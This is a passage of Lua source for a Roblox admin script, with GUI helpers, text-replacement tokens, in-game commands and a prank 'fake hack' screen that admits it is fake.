	local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4976
	local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4977
	if InfoText then Info.Text = InfoText end
4978
	
4979
	local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4980
	local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4981
	
4982
	CloseGui.OnInvoke = function()
4983
		Close:Invoke()
4984
		Dead = true
4985
	end
4986
	AddInfo.OnInvoke = function(AddText)
4987
		Info.Text = AddText
4988
	end
4989
	
4990
	coroutine.wrap(function()
4991
		for i = 0,math.huge,3 do
4992
			if Dead == false and Frame then
4993
				WaitIcon.Rotation = i
4994
				wait()
4995
			else
4996
				break
4997
			end
4998
		end
4999
	end)()
5000
	
5001
	coroutine.wrap(function()
5002
		while Dead == false and Frame do
5003
			wait(0.5)
5004
			LoadLabel.Text = Text.."."
5005
			wait(0.5)
5006
			LoadLabel.Text = Text..".."
5007
			wait(0.5)
5008
			LoadLabel.Text = Text.."..."
5009
			wait(0.5)
5010
			LoadLabel.Text = Text..".."
5011
			wait(0.5)
5012
			LoadLabel.Text = Text.."."
5013
			wait(0.5)
5014
			LoadLabel.Text = Text
5015
		end
5016
	end)()
5017
	
5018
	wait(1)
5019
	
5020
	return CloseGui, AddInfo
5021
end
5022
5023
function GUI:FakeHack(Player) coroutine.wrap(function()
5024
	if not Player or not Player:FindFirstChild("PlayerGui") then return end
5025
	local FakeText = [[
5026
>SHELL: BEGIN
5027
>RUNCODE:
5028
return {
5029
	local Hack = {"Account", "Tix", "Robux"};
5030
	function Start(Type, Inject, Scan) 
5031
		if not Inject then Inject = "In-Game" end
5032
		return {Type, Inject, Scan}
5033
	end
5034
	for Exe,Exploit in pairs(Hack) do
5035
		local IP = Start("In-Game",Exploit,
5036
			BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5037
			{"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5038
		)
5039
		Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5040
		for i = 1,#Injection[2] do
5041
			Log("PlayerData", "ConnectHost", "PLAYERNAME")
5042
		end
5043
		local PlayerProxy = newproxy(true)
5044
		setmetatable(PlayerProxy,Injection[3],{
5045
			__index = function(StealData, ...) local Data = unpack(...)
5046
				return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5047
			end;
5048
		})
5049
	end
5050
	Log("HACKED HOST: PLAYERNAME")
5051
}
5052
>HACKED HOST: PLAYERNAME
5053
5054
]]
5055
	local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5056
	if SG then SG:Destroy() end
5057
	SG = Instance.new("ScreenGui", Player.PlayerGui)
5058
	SG.Name = "MML Hack Gui"
5059
	local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5060
	local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5061
	local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5062
	for i = 1,#FakeText do
5063
		HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5064
		if math.random(1,5) == 1 then
5065
			wait()
5066
		end
5067
	end
5068
	HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5069
	wait(3)
5070
	HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a 
5071
fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5072
	X.Visible = true
5073
end)() end
5074
5075
function GUI:CommandBar(Player)
5076
	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5077
	
5078
	local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5079
	local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5080
	local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5081
	local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5082
	
5083
	local _,Rank = RANK:GetRank(Player)
5084
	local UsableCommands = {}
5085
	for CommandNames,Data in pairs(Commands) do
5086
		if not Data.Hidden then
5087
			if RANK:ConvertRank(Data[4]) <= Rank then
5088
				for _,Command in pairs(CommandNames) do
5089
					table.insert(UsableCommands, {Command, Data[3]})
5090
				end
5091
			end
5092
		end
5093
	end
5094
	
5095
	local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5096
	
5097
	local function ExecuteText()
5098
		local Text = CORE:ReadProperty(RPR, Player, "Text")
5099
		CORE:Chatted(Text, Player, true)
5100
		CommandBox.Text = "Enter a command here"
5101
	end
5102
	
5103
	local function AddSuggestion(Text)
5104
		if Text == nil then Text = Settings.Prefix end
5105
		local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5106
		Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5107
		CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5108
			if Text == Settings.Prefix then
5109
				CommandBox.Text = Settings.Prefix
5110
			else
5111
				CommandBox.Text = Settings.Prefix..Text
5112
			end
5113
			CORE:ExecuteResource("Focus", CommandBox)
5114
		end, true)
5115
	end
5116
	
5117
	CORE:HandleEvent(CommandBox, "MouseEnter", function()
5118
		if CommandBox.Text == "Enter a command here" then
5119
			CommandBox.Text = ""
5120
		end
5121
	end)
5122
	
5123
	local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5124
	CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5125
	
5126
	CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5127
	EnterPressed.OnServerInvoke = ExecuteText
5128
	
5129
	CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5130
		Suggest.CanvasSize = UDim2.new(0,0,0,0)
5131
		Suggest:ClearAllChildren()
5132
		local Text = CORE:ReadProperty(RPR, Player, "Text")
5133
		if Text == "" then
5134
			AddSuggestion(Settings.Prefix)
5135
		end
5136
		
5137
		if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5138
			Text = string.sub(Text,#Settings.Prefix+1)
5139
		end
5140
		for _,Data in pairs(UsableCommands) do
5141
			local Command,Args = Data[1],Data[2]
5142
			if string.find(string.lower(Command),string.lower(Text)) then
5143
				local NewSuggestion = Command
5144
				if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5145
				AddSuggestion(NewSuggestion)
5146
			end
5147
		end
5148
		
5149
	end end)
5150
end
5151
5152
function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5153
	if not Player or not AllSeconds then return nil end
5154
	AllSeconds = tonumber(AllSeconds)
5155
	local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5156
	AllSeconds = math.floor(AllSeconds)
5157
	if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5158
	local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5159
	local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5160
	local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5161
	local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5162
	local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5163
	
5164
	local CurrentSeconds = AllSeconds
5165
	local Alive = true
5166
	coroutine.wrap(function() for i = 0,AllSeconds do
5167
		if not Alive then break end
5168
		local Seconds = tostring(math.fmod(CurrentSeconds,60))
5169
		local Minutes = tostring(math.floor(CurrentSeconds/60))
5170
		if #Seconds == 1 then Seconds = "0"..Seconds end
5171
		if #Minutes == 1 then Minutes = "0"..Minutes end
5172
		Time.Text = Minutes..":"..Seconds
5173
		wait(1)
5174
		if CurrentSeconds <= 0 then
5175
			Alarm:Play()
5176
			Time.Text = "00:00"
5177
			Part.Size = UDim2.new(1,0,1,0)
5178
			Restore:Invoke()
5179
			wait(4)
5180
			Close:Invoke()
5181
			break
5182
		else
5183
			Tick:Play()
5184
			Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5185
			CurrentSeconds = CurrentSeconds - 1
5186
		end
5187
	end end)()
5188
	
5189
	Closed.Event:connect(function()
5190
		if Alive == true then
5191
			Alive = false
5192
			Tick:Stop()
5193
			Alarm:Stop()
5194
		end
5195
	end)
5196
end)() end
5197
5198
function GUI:DetachChat(Player)
5199
	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5200
	if Player:FindFirstChild("DetachChatMML") then
5201
		Player.DetachChatMML:Invoke(true)
5202
		wait()
5203
		Player.DetachChatMML:Destroy()
5204
	end
5205
	
5206
	local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5207
	local SG = Frame.Parent.Parent.Parent
5208
	
5209
	local DCBF = Instance.new("BindableFunction", Player)
5210
	DCBF.Name = "DetachChatMML"
5211
	DCBF.OnInvoke = function(Remove)
5212
		if Remove then
5213
			SG:Destroy()
5214
		end
5215
	end
5216
	CORE:ExecuteResource("CoreChat", SG)
5217
	
5218
	local IsClosed = false
5219
	Closed.Event:connect(function()
5220
		CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5221
		IsClosed = true
5222
	end)
5223
	
5224
	coroutine.wrap(function()
5225
		Player.CharacterRemoving:wait()
5226
		if not IsClosed then
5227
			IsClosed = true
5228
			wait(1)
5229
			CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5230
		end
5231
	end)()
5232
end
5233
5234
function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5235
	if not Player then return nil end
5236
	if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5237
	Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5238
	
5239
	Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5240
end)() end
5241
5242
function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5243
	if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5244
	if not SoundID then SoundID = SoundInfo["ID"] end
5245
	if not TitleText then TitleText = SoundInfo["Name"] end
5246
	if not CreatorText then CreatorText = SoundInfo["Creator"] end
5247
	if not InputSound then InputSound = Sound end
5248
	
5249
	local NumSounds = 0
5250
	for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5251
		if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5252
			NumSounds = NumSounds + 1
5253
		end
5254
	end
5255
	
5256
	local Size = UDim2.new(0.1, 100, 0.1, 100)
5257
	local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5258
	Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5259
	
5260
	local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5261
	local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5262
	local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5263
	local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5264
	local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY" 
5265
	local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5266
	local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5267
	
5268
	local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5269
	local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5270
	if Sound then
5271
		CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5272
	end
5273
	if Time then
5274
		local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5275
		local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5276
	
5277
		coroutine.wrap(function()
5278
			local Alive = true
5279
			
5280
			local function StopTimer() Alive = false end
5281
			Closed.Event:connect(StopTimer)
5282
			Minimized.Event:connect(StopTimer)
5283
			CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5284
			
5285
			for i = Time,0,-1 do
5286
				for ii = 1,10 do
5287
					if Alive == true then
5288
						Timer.Text = i
5289
						wait(0.1)
5290
					else
5291
						break
5292
					end
5293
				end
5294
			end
5295
			if Alive == true then
5296
				Close:Invoke()
5297
			else
5298
				Timer:Destroy()
5299
				Stop:Destroy()
5300
			end
5301
		end)()
5302
	end
5303
end
5304
5305
---- STRING REPLACEMENT OPERATIONS ----
5306
5307
-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5308
5309
-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5310
5311
StringReplacements = {
5312
	{"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5313
	{"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5314
	{"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5315
	{"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5316
	{"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5317
	{"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5318
	{"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5319
	{"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5320
	{"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5321
	{"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5322
	
5323
	{{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5324
	{{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5325
	{{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5326
	{"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5327
	{"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5328
	{{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5329
	
5330
	{"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5331
	{"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5332
	{"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5333
	{"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5334
	{"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5335
	{"_NAME", "player's username", true, function(Player) return Player.Name end};
5336
	{"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5337
	{"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5338
	{"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5339
	{{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5340
	{"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5341
	{"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5342
	{"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5343
	{"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5344
	{"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5345
	{{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5346
}
5347
5348
---- COMMANDS ----
5349
5350
-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5351
5352
Commands = { -- can't make local
5353
	[{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5354
		print("[MML's Admin]: Test message from "..Speaker.Name)
5355
		GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5356
	end};
5357
	
5358
	[{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5359
		local Players = STRING:Scan(Arguments[1], Speaker)
5360
		for _,Player in pairs(Players) do
5361
			if Player.Character then
5362
				Player.Character:BreakJoints()
5363
			end
5364
		end
5365
	end};
5366
	
5367
	[{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5368
		local Players = STRING:Scan(Arguments[1], Speaker)
5369
		for _,Player in pairs(Players) do
5370
			if Player.Character then
5371
				Instance.new("ForceField", Player.Character)
5372
			end
5373
		end
5374
	end};
5375
	
5376
	[{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5377
		local Players = STRING:Scan(Arguments[1], Speaker)
5378
		for _,Player in pairs(Players) do
5379
			if Player.Character then
5380
				for _,Get in pairs(Player.Character:GetChildren()) do
5381
					if Get:IsA("ForceField") then
5382
						Get:Destroy()
5383
					end
5384
				end
5385
			end
5386
		end
5387
	end};
5388
	
5389
	[{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5390
		for _,Player in pairs(Server.Players:GetPlayers()) do
5391
			GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5392
		end
5393
	end};
5394
	
5395
	[{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5396
		for _,Player in pairs(Server.Players:GetPlayers()) do
5397
			GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5398
		end
5399
	end};
5400
	
5401
	[{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5402
		local Players = STRING:Scan(Arguments[1], Speaker)
5403
		for _,Player in pairs(Players) do
5404
			GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5405
		end
5406
	end};
5407
	
5408
	[{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5409
		for _,Player in pairs(Server.Players:GetPlayers()) do
5410
			GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5411
		end
5412
	end};
5413
	
5414
	[{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5415
		local Players = STRING:Scan(Arguments[1], Speaker)
5416
		for _,Player in pairs(Players) do
5417
			GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5418
		end
5419
	end};
5420
	
5421
	[{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5422
		local Players = STRING:Scan(Arguments[1], Speaker)
5423
		local AgeList = {} 
5424
		for _,Player in pairs(Players) do
5425
			table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5426
		end
5427
		GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5428
	end};
5429
	
5430
	[{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5431
		local Players = STRING:Scan(Arguments[1], Speaker)
5432
		local AgeList = {} 
5433
		for _,Player in pairs(Players) do
5434
			table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5435
		end
5436
		local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5437
		for _,Player in pairs(SecondPlayers) do
5438
			GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5439
		end
5440
	end};
5441
	
5442
	[{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5443
		local Storage = {{}, {}, {}, {}}
5444
		local StorageText = {}
5445
		local Formatted = {}
5446
		for CommandNames,Data in pairs(Commands) do
5447
			if not Data.Hidden then
5448
				local RankNeeded = RANK:ConvertRank(Data[4])
5449
				local Add = ""
5450
				if Data[4] == "Non-Admin" then Add = "BLACK " end
5451
				if Data[4] == "Admin" then Add = "CYAN " end
5452
				if Data[4] == "Member" then Add = "BLUE " end
5453
				if Data[4] == "Owner" then Add = "BROWN " end
5454
				if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5455
				local AddBet = Settings.Bet
5456
				if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5457
				local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5458
				table.insert(Storage[RankNeeded + 1], Add..Text)
5459
				StorageText[Text] = CommandNames
5460
			end
5461
		end
5462
		for Num,_ in pairs(Storage) do
5463
			table.sort(Storage[Num])
5464
		end
5465
		for _,Table in pairs(Storage) do
5466
			for _,Command in pairs(Table) do
5467
				table.insert(Formatted, Command)
5468
			end
5469
		end
5470
		local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5471
		Clicked.Event:connect(function(Text)
5472
			GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5473
		end)
5474
	end};
5475
	
5476
	[{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5477
		GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5478
	end};
5479
	
5480
	[{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5481
		if GUI:GetColor(Arguments[1]) then
5482
			local ColorScheme = string.upper(Arguments[1])
5483
			if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5484
			Settings.ColorScheme = ColorScheme
5485
			GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5486
		else
5487
			GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5488
		end
5489
	end};
5490
	
5491
